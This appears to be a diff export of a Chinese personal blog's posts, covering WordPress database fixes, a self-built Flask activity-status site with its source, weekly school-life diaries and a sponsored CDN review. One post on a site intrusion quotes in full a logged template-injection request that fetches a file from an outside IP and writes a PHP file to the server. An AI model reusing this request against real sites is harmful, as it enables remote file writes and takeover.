/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
```
代码框第三行“ define( 'DB_NAME', 'xxxxxxxxxxxx' ); ”中的“xxxxxxxxxxxx”即为该网站对应的数据库名称。
> 为了保护隐私,“xxxxxxxxxxxx”仅供参考,实际数据库名以文件中的为准。
## 修改WordPress站点地址/主页地址
许多朋友在更改域名时容易疏忽掉站点地址的修改,以至于当他们更换完毕时,会发现每每通过新域名访问网站,WordPress都会将其重定向到原先的域名。此时此刻想通过登录到WordPress后台来更改站点地址是几乎不可能的。所以,我们可以通过修改WordPress的数据库以达到更改站点地址的目的。
同样的,以宝塔面板为例,用phpMyAdmin打开WordPress站点所在数据库。展开数据列表后,选中“wp_options”表。
![img](https://image.luming.cool/i/2026/05/10/69fff28c04205.webp)
在这张表内,可以看到在“option_name”列中有一个“siteurl”行和“home”行。我们只需将这两行对应的“option_value”列内容修改为最新的域名即可。
> 数据库中“siteurl”和“home”分别代表不同的含义。如果想要了解,您可以参考[这篇问答](https://cloud.tencent.com/developer/ask/sof/114073181)。
## 后记
在一些紧急情况中,遇到类似的WordPress问题还是很猴急的。希望本篇文章可以帮到大家,我们下期再见!
@@ -0,0 +1,500 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff29e97678.webp"
title: "新项目-RStatus视奸系统"
pubDate: "2025-02-06T22:05:00.000Z"
updatedDate: "2025-02-06T22:05:00.000Z"
categories:
- "科技"
tags:
- "Python"
- "易语言"
comments: true
---
## 前言
Class Widgets是一款桌面课表软件。前几天,我加入了这个软件的交流群,发现群主RinLit搭建了一个网站,叫[RinLit似了吗?](https://sleepy.rinlit.cn/)
因为我从没有开发过网站,也没有体验过其网站中`将自己活动公开`的感觉,所以这个网站令我起了兴趣。于是我跃跃欲试,打算仿制一个。
## 开发
一开始我打算使用易语言来完成全部的开发任务,但很快我就被劝退了——易语言兼容性极差,现已无法胜任。我忽然想用Python练练手,毕竟Python的代码逻辑和易语言差不多,我能简单写上几句~~(吗?)~~。
程序的大体逻辑是:分为服务器端和客户端。服务器端负责接收数据和渲染网页,客户端负责收集PC当前的活动名称并发送至服务器。服务器端用Python编写,客户端用易语言编写。
拟好程序的大体逻辑,写好易语言客户端的例程,紧接着在DS的部分协助下,我得到了以下代码:
(1.0版本代码,仅供研究使用,我会在RStatus相对完善时进行开源。)
```
from flask import Flask, render_template_string
from flask_cors import CORS
import socket
import threading
import logging
import ctypes
# 配置日志记录
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
app = Flask(__name__)
CORS(app) # 启用 CORS
# 存储 TCP 服务器接收到的消息
received_message = ""
# 创建线程锁
lock = threading.Lock()
# 存储当前是否有客户端连接
has_connection = False
# HTML模板,包含现代化CSS样式和动效以及最新更新时间
HTML_TEMPLATE = '''
<!DOCTYPE html>
<html>
<head>
<title>Rsvの状态</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <!-- 添加viewport元标签以适配手机端 -->
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: url('https://image.luming.cool/i/2026/05/10/69fff2900fbe9.webp') center/cover no-repeat;
margin: 0;
padding: 20px;
min-height: calc(100vh - 40px);
display: flex;
justify-content: center;
align-items: center;
}
.container {
background: rgba(255, 255, 255, 0.8);
/* 提高背景透明度 */
backdrop-filter: blur(10px);
/* 添加毛玻璃效果 */
border-radius: 15px;
padding: 30px;
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.1);
text-align: center;
max-width: 600px;
width: 90%;
transition: all 0.3s ease;
/* 添加过渡效果 */
}
.container:hover {
box-shadow: 0 12px 40px rgba(0, 0, 0, 0.2);
/* 增强阴影 */
}
h1 {
color: #222;
/* 加深标题颜色 */
margin-bottom: 20px;
position: relative;
}
#window-title,
#server-title,
.info-module {
font-size: 1.2em;
color: #333;
/* 加深文字颜色 */
padding: 15px;
background: rgba(255, 255, 255, 0.8);
/* 提高背景透明度 */
backdrop-filter: blur(1px);
/* 添加毛玻璃效果 */
border-radius: 8px;
margin: 10px 0;
display: flex;
justify-content: space-between;
align-items: center;
}
#window-title .left-label,
#server-title .left-label {
color: #222;
/* 加深标签颜色 */
}
#window-title .right-content,
#server-title .right-content {
text-align: right;
cursor: pointer; /* 鼠标指针变为手型,表示可点击 */
}
#update-time {
font-size: 0.9em;
color: #555;
/* 加深时间文字颜色 */
margin-top: 5px;
}
.pinyin {
font-size: 0.6em;
position: absolute;
top: -0.8em;
left: 50%;
transform: translateX(-50%);
color: #444;
/* 加深拼音颜色 */
}
.avatar-nickname {
display: flex;
align-items: center;
/* 垂直居中对齐 */
justify-content: flex-start;
/* 左对齐 */
flex-grow: 1;
/* 让这个容器占据剩余空间 */
}
.avatar {
width: 50px;
height: 50px;
border-radius: 50%;
margin-right: 10px;
}
.nickname-container {
display: flex;
flex-direction: column;
align-items: flex-start;
/* 确保昵称和副标题左对齐 */
margin-left: 10px;
/* 添加一些左边距,避免和头像重叠 */
}
.nickname {
font-size: 1.2em;
color: #222;
/* 加深昵称颜色 */
}
.sub-title {
font-size: 0.8em;
/* 减小副标题字体大小 */
color: #444;
/* 加深副标题颜色 */
display: block;
/* 确保副标题换行 */
}
.status-indicator {
padding: 5px 10px;
border-radius: 8px;
/* 整体呈圆角矩形 */
color: black;
/* 文本颜色为黑色 */
background: rgba(246, 211, 101, 0.5);
/* 背景颜色与整个网页的背景颜色差不多 */
border: 2px solid transparent;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
display: flex;
align-items: center;
}
.status-alive {
border-color: green;
/* 当状态为“在线中”时,边框颜色为绿色 */
}
.status-offline {
border-color: red;
/* 当状态为“离线了”时,边框颜色为红色 */
}
.status-dot {
width: 10px;
height: 10px;
border-radius: 50%;
margin-right: 5px;
display: inline-block;
/* 确保始终显示 */
}
.status-dot-alive {
background-color: green;
}
.status-dot-offline {
background-color: red;
}
/* 手机端适配样式 */
@media (max-width: 600px) {
body {
padding: 10px;
}
.container {
padding: 20px;
}
.info-module {
flex-direction: column;
/* 垂直排列 */
}
.avatar-nickname {
flex-direction: column;
/* 垂直排列 */
align-items: center;
margin-bottom: 10px;
}
.nickname-container {
align-items: center;
margin-left: 0;
}
.status-indicator {
margin-top: 10px;
}
#window-title,
#server-title {
flex-direction: column;
/* 垂直排列 */
}
#window-title .left-label,
#server-title .left-label {
margin-bottom: 5px;
}
#window-title .right-content,
#server-title .right-content {
text-align: center;
}
}
</style>
<link rel="icon" type="image/webp" href="https://image.luming.cool/i/2026/05/10/69fff21a94978.webp">
</head>
<body>
<div class="container">
<h1>Riseforever在线监测</h1>
<div class="info-module">
<div class="avatar-nickname">
<img class="avatar" src="https://cravatar.cn/avatar/302380667bdaf4e1390800e62494d4af?s=400&d=mp" alt="Avatar">
<div class="nickname-container">
<span class="nickname">Riseforever</span>
<span class="sub-title" id="sub-title">目前离线,有事请留言。</span> <!-- 添加副标题 -->
</div>
</div>
<div id="status-indicator" class="status-offline">
<div class="status-dot status-dot-offline"></div>
离线了
</div>
</div>
<div id="window-title">
<span class="left-label">💻RsvのLaptop</span>
<span class="right-content" id="window-title-content" onclick="showFullContent(this)">加载中...</span>
</div>
<div id="server-title">
<span class="left-label">💻RsvのServer</span>
<span class="right-content" id="server-title-content" onclick="showFullContent(this)">加载中...</span>
</div>
<div id="update-time">更新时间:暂无</div>
</div>
<script>
function updateWindowTitle() {
fetch('/get_window')
.then(response => response.text())
.then(data => {
const windowTitleContent = document.querySelector('#window-title .right-content');
if (data.length > 20) { // 修改为 20 字符折叠
windowTitleContent.dataset.fullContent = data;
windowTitleContent.innerText = data.substring(0, 20) + '...';
} else {
windowTitleContent.dataset.fullContent = data;
windowTitleContent.innerText = data;
}
// 根据窗口名称更新状态指示器
const indicator = document.getElementById('status-indicator');
const dot = document.querySelector('.status-dot');
const subTitle = document.getElementById('sub-title');
if (data === '暂未使用') {
indicator.classList.remove('status-alive');
indicator.classList.add('status-offline');
indicator.innerHTML = '<div class="status-dot status-dot-offline"></div>离线了';
subTitle.innerText = '目前离线,有事请留言。';
} else {
indicator.classList.remove('status-offline');
indicator.classList.add('status-alive');
indicator.innerHTML = '<div class="status-dot status-dot-alive"></div>在线中';
subTitle.innerText = '目前在线,可以通过任何可用的联系方式联系本人。';
}
updateServerTitle();
});
}
function updateServerTitle() {
fetch('/get_server_window')
.then(response => response.text())
.then(data => {
const serverTitleContent = document.querySelector('#server-title .right-content');
if (data.length > 20) { // 修改为 20 字符折叠
serverTitleContent.dataset.fullContent = data;
serverTitleContent.innerText = data.substring(0, 20) + '...';
} else {
serverTitleContent.dataset.fullContent = data;
serverTitleContent.innerText = data;
}
// 获取当前时间并格式化为年月日时分秒
const now = new Date();
const year = now.getFullYear();
const month = String(now.getMonth() + 1).padStart(2, '0');
const day = String(now.getDate()).padStart(2, '0');
const hours = String(now.getHours()).padStart(2, '0');
const minutes = String(now.getMinutes()).padStart(2, '0');
const seconds = String(now.getSeconds()).padStart(2, '0');
const updateTime = `${year}-${month}-${day} ${hours}:${minutes}:${seconds}`;
document.getElementById('update-time').innerText = `更新时间:${updateTime}`;
});
}
function showFullContent(element) {
const fullContent = element.dataset.fullContent;
alert(`${fullContent}`);
}
// 每3秒更新一次
setInterval(updateWindowTitle, 3000);
updateWindowTitle(); // 立即执行一次
</script>
</body>
</html>
'''
def handle_tcp_connection():
"""处理 TCP 连接,接收特定格式的消息并更新全局变量"""
global received_message, has_connection
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 19198))
server_socket.listen(1)
logging.info("TCP server started on port 19198")
while True:
try:
conn, addr = server_socket.accept()
has_connection = True
logging.info(f"Connected by {addr}")
try:
data = conn.recv(1024)
try:
# 使用 UTF - 8 编码进行解码
decoded_data = data.decode('utf-8')
except UnicodeDecodeError:
logging.error("Failed to decode data using UTF-8. Skipping...")
continue
if decoded_data.startswith("NewForm{}"):
message_content = decoded_data[9:]
with lock:
received_message = message_content
logging.info(f"Received message: {received_message}")
except Exception as e:
logging.error(f"Error handling TCP connection: {e}")
finally:
conn.close()
has_connection = False
except Exception as e:
logging.error(f"Error accepting connection: {e}")
@app.route('/')
def home():
"""主页路由"""
return render_template_string(HTML_TEMPLATE)
@app.route('/get_window')
def get_window():
"""返回 TCP 服务器接收到的消息的 API"""
with lock:
return received_message
@app.route('/get_status')
def get_status():
"""返回 TCP 服务器连接状态的 API"""
global has_connection
return 'alive' if has_connection else 'offline'
def get_active_window_title():
"""获取当前活动窗口的标题"""
user32 = ctypes.windll.user32
h_wnd = user32.GetForegroundWindow()
length = user32.GetWindowTextLengthW(h_wnd)
buff = ctypes.create_unicode_buffer(length + 1)
user32.GetWindowTextW(h_wnd, buff, length + 1)
title = buff.value
return title if title else "暂未使用"
@app.route('/get_server_window')
def get_server_window():
"""返回当前最前方应用程序的窗口名称的 API"""
try:
window_title = get_active_window_title()
return window_title
except Exception as e:
logging.error(f"Error getting server window title: {e}")
return "获取失败"
if __name__ == '__main__':
# 启动 TCP 服务器线程
tcp_thread = threading.Thread(target=handle_tcp_connection, daemon=True)
tcp_thread.start()
# 启动 Flask 服务器
app.run(host='0.0.0.0', port=5000, debug=False)
```
## 调试
不得不说,调试这一过程是真的艰巨。在开发过程中,我遇到了包括但不限于编码不一致、端口号填错、HTML标签写错等低级错误。多亏了DS,毫不嫌弃地帮助我(~~虽然它不会嫌弃~~),使我在2天之内将这个项目调试完并成功部署上线。
## 功能介绍
RStatus主要以网页端为主。
### 网页端
访问[项目网址](https://status.virelyx.com/),你会发现其整体为一个窗口。上方是站长的个人信息(头像,昵称)以及在线状态,下方是站长在线的设备以及当前的活动。最下方是更新时间,每3秒会刷新一次列表。
![img](https://image.luming.cool/i/2026/05/10/69fff29c4624d.webp)
值得一提的是,这个列表在1.0版本中是静态的,只能固定接收名为“RsvのLaptop”的活动名称;在2.0,列表全新升级为动态列表,支持在服务器的可承载范围内无限增加监控设备数。
![img](https://image.luming.cool/i/2026/05/10/69fff29d362e5.webp)
在1.0版本中,如果列表项目过多则会使整个窗口硬生生被拖长,影响美观;在2.0版本中,为列表加入了进度条,所有内容都在窗口内,避免了因页面整体滚动造成的不美观。
### 客户端
客户端的作用是检测当前设备的顶端窗口名称并上报给服务器端。其界面是这样的:
![img](https://image.luming.cool/i/2026/05/10/69fffb48b2701.png)
至于各个控件的作用,都是与服务器端一一对应的,这里我就不过多解释了。
## 体验
链接:[捕捉Riseforever](https://status.virelyx.com/)
即将开源,敬请期待!
## 后记
原本,我一直在构思:自己应该做一个什么项目好。没想到,一次意外想法竟然造就了我的第一个项目。真是一次奇妙的旅程。
@@ -0,0 +1,32 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2cdebacc.webp"
title: "我重装了WordPress"
pubDate: "2025-02-15T22:09:00.000Z"
updatedDate: "2025-02-15T22:09:00.000Z"
categories:
- "公告"
tags:
- "WordPress"
comments: true
---
5日下午,我在使用Follow给我自己的网站认证。但就在验证这一关里,它频频报错:
> [GET] "https://virelyx.com/feed?ts=1739626807735": 403 Forbidden
无论我使用哪种方法,它都这样报。
外加联想起必应说我SEO有问题,我便开始怀疑是不是中途切换主题的原因(小白无经验,见笑了)。
于是,我就重装了WordPress。所幸无数据丢失。友情链接丢失了,一个一个复制了好久。(苦笑)
最🤡的一集来了:Follow仍然不认我的站点,仍然是 403 Forbidden
最后再试一次:
This message is used to verify that this feed (feedId:113501963366352896) belongs to me (userId:113500827299870720). Join me in enjoying the next generation information browser https://follow.is.
仍提示403。可能是我WAF的问题。回头我再看看。
在套了CDN的情况下已成功认证。
@@ -0,0 +1,25 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff29f89dec.webp"
title: "RStatus视奸系统现已开源"
pubDate: "2025-02-09T22:49:00.000Z"
updatedDate: "2025-02-09T22:49:00.000Z"
categories:
- "科技"
tags:
- "Python"
- "易语言"
comments: true
---
如你所见,RStatus视奸系统现已在Github平台开源,基于Apache 2.0协议。
如果你不知道这是什么,请移步[上一篇文章](https://virelyx.com/686.html)。
[点我](https://github.com/Rise-forever/RStatus/)查看开源地址;
[点我](https://www.rsvsoft.cn/docs/rstatus/#/)查看官方文档。(部署教程正在出,请耐心等待)
欢迎各位朋友下载研究🤓👊🏻
(害,头发又掉了一把。)
@@ -0,0 +1,39 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff29b3ad21.webp"
title: "令人细思极恐的网站攻击"
pubDate: "2025-02-05T22:26:00.000Z"
updatedDate: "2025-02-05T22:26:00.000Z"
categories:
- "科技"
tags:
- "WordPress"
comments: true
---
## 事发
2月5日晚上10:05,我在做项目的时候需要扒一个favicon,便想着去自己的wp后台顺一个圆形的logo。可当我如往常一样登录之后,我发现自己的WP后台侧栏多了一个选项——“WP文件管理器”。
![img](https://image.luming.cool/i/2026/05/10/69fff298c3ea3.webp)
而我,从来没有安装过这个插件。
我慌了,赶紧点进“插件”页面,发现我的WP在不知情的情况下被装了两个新插件:
![img](https://image.luming.cool/i/2026/05/10/69fff2996e5c3.webp)
如果这两个插件真是我亲手安装的,那为什么我会一点印象都没有,甚至连插件是干什么的都不知道呢?
如果不是我安装的,那会是谁安装的呢?是通过什么技术手段安装的呢?
## 排查
![img](https://image.luming.cool/i/2026/05/10/69fff29a503c3.webp)
事发之后,我火速排查了自己的宝塔WAF,发现这几天的攻击十分频繁,有的攻击还十分离谱——比如:
```
/?tag&tagstplnews.html&tag%7Bpbohome/Indexot:if((get/*-*/(/**/t))/**/(get/*-*/(/**/t1),get/*-*/(/**/t2)(get/*-*/(/**/t3))))%7Dok%7B/pbohome/Indexot:if%7D&tfile_put_contents&t1ceshi.php&t2file_get_contents&t3http://110.40.132.172:800/1.TXT
```
这个大概意思应该是往我的网站目录里写入一个php文件,使其可以被访问。还好,“http://110.40.132.172:800/1.TXT”这个文件的PHP代码只是“test”,否则可能就没有现在的这篇文章了。
+121
View File
@@ -0,0 +1,121 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2ccec4e3.webp"
title: "周度总结 2-1:域名被屏蔽、练笔"
pubDate: "2025-02-14T21:43:00.000Z"
updatedDate: "2025-02-14T21:43:00.000Z"
categories:
- "生活"
tags:
- "网站"
comments: true
---
## 前言
注:每期文章的背景图颜色都是我瞎配的,不喜勿喷。
今天是2月14日情人节。路明先在这里祝各位朋友们情人节快乐!
本周因为周四早晨返校,周五下午离校,在校时间实在是短,所以就只分享两个主题吧——我的域名被国外主流搜索引擎屏蔽、六个小练笔。
## 域名被屏蔽
大概是10天前,我像以前一样用Bing搜索自己(~~自恋~~),结果发现查询出的条目中并没有直接指向本站的。
于是我直接输入“site:virelyx.com”,看到了以下场景:
![img](https://image.luming.cool/i/2026/05/10/69fff2ca85507.webp)
我不信邪,便前往了Yahoo,也是如此:
![img](https://image.luming.cool/i/2026/05/10/69fff2c9de0da.webp)
继续。前往DuckDuckGo,亦是如此:
![img](https://image.luming.cool/i/2026/05/10/69fff2cb3c337.webp)
不知道为何,他们三家都屏蔽了我的域名。我寻思谷歌这边都收录的好好的,他们怎么就掉了?
![img](https://image.luming.cool/i/2026/05/10/69fff2cc13056.webp)
向Bing站长工具提交了站点域名和Sitemap,但是十几天过去了,虽然工具那边提示我成功,但引擎这里没有任何动静。
当然,Bing也提醒我:我的站点有多处SEO错误。而我暂时不知道怎么调整SEO。
有哪位大佬知道的可以向我科普一下,在这里表示衷心的感谢!
## 六个小练笔
本周(其实只在学校呆了1天半)我共完成了6个小练笔题目(来自《666件可写的事》,上篇文章有提到),题目如下:
```
1.你做过的最离谱的梦是什么?
2.描写一下你灵魂的形状。
3.用四个词形容你的初恋。
4.你的人生座右铭是什么?
5.一觉醒来,发现自己回到了2000年的第一天,你会如何度过?
6.从你读过的文学作品中,选择一个可悲可叹的任务,简述这个人物形象。
```
### 你做过最离谱的梦是什么?
(仅为梦境记录,会出现一些不符合日常逻辑的东西,不必当真。)
夜晚,我走在某不知名小巷内。天空很黑,呼吸时甚至能尝到金属锈味的黑暗,我的耳膜被虚无的重量挤压着。即使路灯亮得快要刺瞎眼睛,那光也仿佛被黑暗吸收,根本无法打破这片死寂。
突然,我在手机上接收到了一个公司的Offer。我打算前往公司所在的大厦,但双腿却不自觉地往家的方向迈去。
到了家楼下,我发现我需要猫着腰才能进入楼道——这栋楼的每一层都很矮,连天花板都只到我一个14岁孩子的胸前。楼内是用红砖砌的墙,散布着霉臭味。我的眼前是一部电梯,它倒是正常的形态,只不过它的门已经嵌入了天花板,估计都到二楼去了。
我按下按钮,稍等片刻,门开了——电梯里有两个小男孩,背对着我,不停地蹦跶。我意识到电梯不安全,便转身前往楼梯间。
走在楼梯上,我发现并非是我在向上运动,而是整栋楼在以电梯般的速度曲线下降。只觉得一阵天旋地转,没一会,我就醒了。
### 描写一下你灵魂的形状
我的灵魂,很多变。
它可以是闪电的形状——代表着高效率、要强和善变的我;
它可以是水滴的形状——代表着细致入微,柔韧坚定的我。
它也可以是煤炭的形状——虽然会在需要的时候给予别人帮助,但有时候一点就着。
### 用四个词形容你的初恋
首先,我没有初恋。
如果非要让我形容一位异性,那么……
她:眉清目秀、文武双全、真诚朴实、英姿飒爽。
(没瓜,没瓜,没瓜。)
### 你的人生座右铭是什么
有两个:
- 走自己的路,让别人议论去吧。
- 爱你所爱,行你所行;只问初心,只问敢勇,无问西东。
二者表达的主旨其实差不多。
### 一觉醒来,发现自己回到了2000年的第一天,你会如何度过
上午,我会去父母居住的地方看看(虽然当时他们还尚未成为我的父母)。我要去参观他们开的家电卖场,体验一下如今只能在积灰的说明书中见到的⌈索科数控复读机⌋和⌈可视复读机⌋。我要去找父母喝杯茶,和他们唠唠家常,悄悄观察他们尚未变白的头发,以及仍不失青春色彩的脸颊。
中午,我会舒舒服服地睡上一觉,细细体味没有智能手机和即时通讯软件打扰的宁静。
下午,我会去电脑城买一台台式电脑,为它装上最新的WindowsXP和当下流行的软件。伴随着拨号上网漫长的等待音,我要在电脑上一边挂着千千静听,一边聊QQ,体验那互联网的新鲜感。这还不够,我还打算畅玩《红色警戒》。CRT显示器的波纹时隐时现,我也逐渐地沉浸其中。虽然硬件的上限使游戏运行得并不十分流畅,但我仍玩得很开心。
傍晚,本着帮助父母的心(父母的家电卖场遇到了困难),我会去他们的家电卖场买一台VCD,搭配极为先进的全景声音响功放,外加一套卡拉OK套装。
夜里,我放荡不羁地在家中唱着《New Boy》,恍惚间听到父母年轻时的歌声。到了21:00,我戴上耳机,躺在床上,听着MP3,渐渐地进入了梦乡......
### 从你读过的文学作品中,选择一个可悲可叹的人物,简述这个人物形象
我选《活着》中的福贵。他先前是地主家的儿子,却因吃喝嫖赌败光了家产,成为了农民。他只是一味地后悔,却没想到土地改革让新一任地主替他受死。他与贤妻家珍喜得一儿一女,命运却先后安排女儿失语、儿子被害死、女儿因生育大出血去世、妻子病故、女婿意外死亡、外孙因暴食致死。从福贵逃脱一死可看出他是一个幸运的人,而从家人先后离世可看出他是一个苦命的人。但是,经历如此大劫大难后福贵仍能沉着地应对生活,可看出福贵是一个内心强大、活着意志坚定的人。
## 写在最后...
我想以后如果没有素材就以小练笔代替,但我自己觉得这可能会使我更新的内容缺乏意义。各位朋友们,你们觉得如何?
+199
View File
@@ -0,0 +1,199 @@
---
cover: "https://image.luming.cool/i/2026/05/10/69fff2ea9fe08.webp"
title: "周度总结 2-2:奖学金、喜糖、Redmi手表等"
pubDate: "2025-02-22T22:23:00.000Z"
updatedDate: "2025-02-22T22:23:00.000Z"
categories:
- "生活"
tags:
- "CDN"
- "手表"
- "校园"
comments: true
---
## 前言
本周是充满惊喜的一周。
关键词:`处分撤销``奖学金``好用的便签``邮件插入NEXT域``喜糖``火毅盾CDN``独立思考的重要性``Redmi Watch 5 eSIM`
## 处分撤销
好奇我为什么被处分的朋友们可以去看[这篇文章](https://virelyx.com/471)。
本周一中午,我在跟随本班队伍去食堂时,被德育处主任叫了过去。他说:
> 我放寒假之前不是和你说了“开学以后交撤销处分申请书”吗?你不交你怎么评优评先?
听到“评优评先”四个字的时候,我就莫名兴奋起来:主任的言外之意可能是“处分撤销后就可以继续跟随大家一起参与上学期的评优评先”。
于是我便在下午飞速拼凑出了一封简洁的申请书,并于大课间将其上交到了德育处。
第二天上午大课间时,学部公告栏里出现了一张“撤消处分公告”。我解放了。
## 奖学金
书接上段,我在上交完撤消处分申请书的当天晚上,班主任在我打饭的时候把我叫到他身旁,小声和我说:
> 你去告诉杜XX(同学)和覃XX(同学),让他们和你在今天晚上6:10的时候去行政楼门前排练。你们要领奖学金。
我当时脑子还没迷过来——“真的是我吗?”,“我不是挨过处分了吗?”,“难道德育处主任的言外之意真被我猜中了吗?”
打完饭坐到座位上,我疯狂扇自己耳光——皮肤出现皱纹,脸上的肌肉在抽动着,所有的所有都在证明这里不是地球Online。
我顿时狂喜,于是也没心思出去玩了,如饿虎般三口两口把米饭塞进嘴里,结束了今晚的晚餐后,便一路小跑回班。
在彩排现场,老师们为不同奖项的同学划分了不同的队伍。在得知我又是二等奖学金的时候,我又喜又悲——喜,是因为我的成绩不带体育是年级第13,顶多能得一个三等奖学金,而加上体育直接干到了年级第八;悲,是因为我这初中三年就得过这两次二等奖学金,不像那些名列前茅的同学,个个奖学金拿到手软,感慨“这辈子没拿过二等奖学金”。
![image-20251025121514121](https://image.luming.cool/i/2026/05/10/69fffb6137d46.png)
## 好用的便签
为了政治开卷考试时方便查阅,老师要求同学们需要带一些彩色半透明小便签用于教材标记。听闻此消息后,父亲很快就从拼多多上下单了一款不知名便签,并且买了好多本,让我顺了两本。
在学校,我发现这一板便签上只有8张。仔细看,发现它的胶粘部分是全透明的,能够避免遮挡文本内容;并且其书写部分和普通透明便签不同,这款便签用水笔直接书写,字迹很清晰,不断墨,并且似乎还自带速干功能。(只是猜的)
![img](https://image.luming.cool/i/2026/05/10/69fff2d3ad191.webp)
## 邮件插入NEXT域
英语老师需要制作一个主题为“历史成绩参考及学习目标”的文档,需要打印出来并手工裁切成小纸条的样式,分发给每一位同学。
文档大概是这样:一页A4纸中包含3个表格,每个表格都是一样的:姓名、八下期末英语成绩、九上英语成绩.......
最开始,老师打算一个一个用手敲数据。但她觉得太累了,于是就把我喊来敲。我意识到可以使用邮件合并功能来实现此效果。
可是,以我当时的认知,我认为“每一张A4纸只可以放得下一张表格”,因为“邮件合并”这个功能是按页合并的。(因为我对文档操作的机会甚少,并且义务教育阶段信息技术只教授了单页合并操作,所以我会产生上述想法。)
于是我就先缩小所有表格,然后按单页输出每一个人的数据(一个人的表格占了一整页),最后让英语老师手动挪动表格,使一页能有3个表格。
英语老师当晚肝了一夜都没肝完,因为她被“表格自动吸边”(两个表格放到一块,其边缘会站连在一起)折磨得痛不欲生。
第二天,我又被叫到了英语办公室。
面对着眼前的WPS窗口,我心想:“WPS的用户这么多,肯定有别的用户和我有相同的需求——一页放多条记录吧”,于是,我便开始上必应搜索“WPS如何一页合并多条数据”,您猜怎么着,WPS还真就有这个功能,只不过是我没发现罢了。它叫“插入NEXT域”,用上了它,我只是修改了下模板文档,轻点几下鼠标就完美地完成了这项任务。
现在我将这个功能分享出来,以方便更多蒙鼓人:https://www.wps.cn/learning/course/detail/id/330065.html
## 喜糖
曾教我们音乐的老师在上周结婚了。他结婚算是比较晚的。
我在帮英语老师做完文档后,为了表示感谢,她像往常一样拿出一些糖果奖励我。不过不同寻常的是,这次她不仅拿了糖,还拿了一包瓜子一包花生,包装袋上面都贴着“囍”字。
我顿时明白了——这是我们音乐老师的喜糖。
不得不说,我把花生和瓜子拿去和同学们分着吃了。花生是蒜香味的,瓜子的味道无法形容,总之就是同学们吃了都叫好。
顺便,祝我的音乐老师新婚快乐,早生贵子❤
## 火毅盾CDN
我有一台闲置的4c4g服务器,一直在角落里吃灰。我想用它创造一点价值,于是便将其赞助给了火毅盾。作为回馈,火毅盾给我提供了CDN服务。
不得不说,火毅盾的海外CDN效果很显著。以下是我套CDN前后的对比:
![img](https://image.luming.cool/i/2026/05/10/69fff2df9e3c9.webp)套CDN前:延迟较大
![img](https://image.luming.cool/i/2026/05/10/69fff2e08e100.webp)套CDN后:延迟显著减小
可能在你看来这个提升比较小。没有对比就没有伤害,接下来我会放我朋友的网站延迟。他的网站服务器和我的服务器地域相同(均为腾讯云新加坡),配置略优于我,并配套使用了EdgeOne CDN加速。
![img](https://image.luming.cool/i/2026/05/10/69fff2e168bf1.webp)EdgeOne:???
不言而喻,火毅盾的加速效果远远超过了EdgeOne。
除此之外,在火毅盾的加持下,我的网站可用率大大提高。
我的学校用的是中国电信的宽带,网络质量极差,遇到境外服务器的网站要么无法加载,要么加载得十分缓慢。
在使用火毅盾CDN前,我的网站亦是如此,每次加载都要花费30秒起步。这直接导致了我无法正常在同学面前装X和同学分享我的文章。
使用了火毅盾CDN之后,不管是在教室里的一体机上,还是在机房电脑上,我的网站都可以在3秒钟内极速加载完毕。以及,得益于火毅盾的超大带宽回源配置,我站点上的图片等资源就像打开本地网页一样快。
火毅盾是多家政企信赖的CDN服务商,提供全场景(境内加速、境外加速)CDN加速方案,让您的网页响应&加载更丝滑,更流利。个性化的套餐方案,总有适合你的。价格跌破底线(最低仅需5元/月),并伴随着丰富的赞助活动等你参与。
火毅盾官网:https://www.hydun.com/
火毅盾CDN网站联盟赞助计划:https://blog.hydun.com/archives/3/
## 独立思考的重要性
平时,我们在下午5:40下课后,九年级先去食堂用餐。七、八年级在6:05的时候准时前往餐厅用餐。
本周三,九年级同学被召集到学术报告厅,开了一场大班会。当天晚上,七、八年级被安排在5:40先行用餐,九年级推迟到6:05用餐。
周四下午,按理来说用餐时间已恢复正常。可是当我到达餐厅时,八年级有好几个班坐在九年级的位置上。八年级的主任和我们说:“九年级6:05才来用餐”,于是我便和班里几个同学跑着回教室,顺便”通知“了许多前往食堂的同学”现在不要去吃饭“。
直到我在班里的电脑上打开冰与火之舞(好吧只是开机)后,班主任悄无声息地走入了教室。他问我:”你在这待着干嘛嘞?“,我说:”老师,他们都说九年级6:05吃饭“。
班主任一脸诧异地看着我:”啥时候通知九年级6点吃饭了?没有说过,快去吃饭吧!“
到了食堂我才知道,是八年级主任搞错了,误以为今天是和昨天一样的时间安排。
这件事中,我在听了八年级主任的话之后,没有经过大脑思考就去通知其他同学,不太合适。不仅让自己没及时吃到饭,并且还耽误了一大堆同学的用餐时间。
## Redmi Watch 5 eSIM
本学期我获得了奖学金500元。而Redmi Watch 5 eSIM版只卖¥799,国补以后这个价格就到了¥679.15。
父亲答应我用奖学金加上他贴上的¥179.15给我买一台Redmi Watch 5 eSIM版。
原本我以为这款手表并不热门,没几个人买。于是我便让父亲载着我直接前往了就近的小米之家。没想到刚和店员开口就被贴脸开大——没货。
我上小米商城查了查——整个洛阳市只有离我们6公里的”丹尼斯·大卫天地 8楼小米之家“还剩最后一台现货。于是我赶紧给店家打电话,让她帮我留着货。
经过约20分钟的路程,我们来到了目的地。这中途有一个小插曲——我们向店员说明了情况后,店员便开始翻开抽屉给我们找货,没想到翻遍了抽屉都没有找到一个eSIM版。接着他走向展示桌,打算询问另一位店员。此时我一眼看到了展示桌上放着一个全新的Redmi Watch 5 eSIM包装盒。我忙叫那位店员,于是他便教我父亲领取国补券,最终以¥679.15买下了这块手表。
### 外观
![img](https://image.luming.cool/i/2026/05/10/69fff2e30ca83.webp)正面表盘
![img](https://image.luming.cool/i/2026/05/10/69fff2e4c2ba7.webp)侧面边框
![img](https://image.luming.cool/i/2026/05/10/69fff2e6805a9.webp)背面传感器
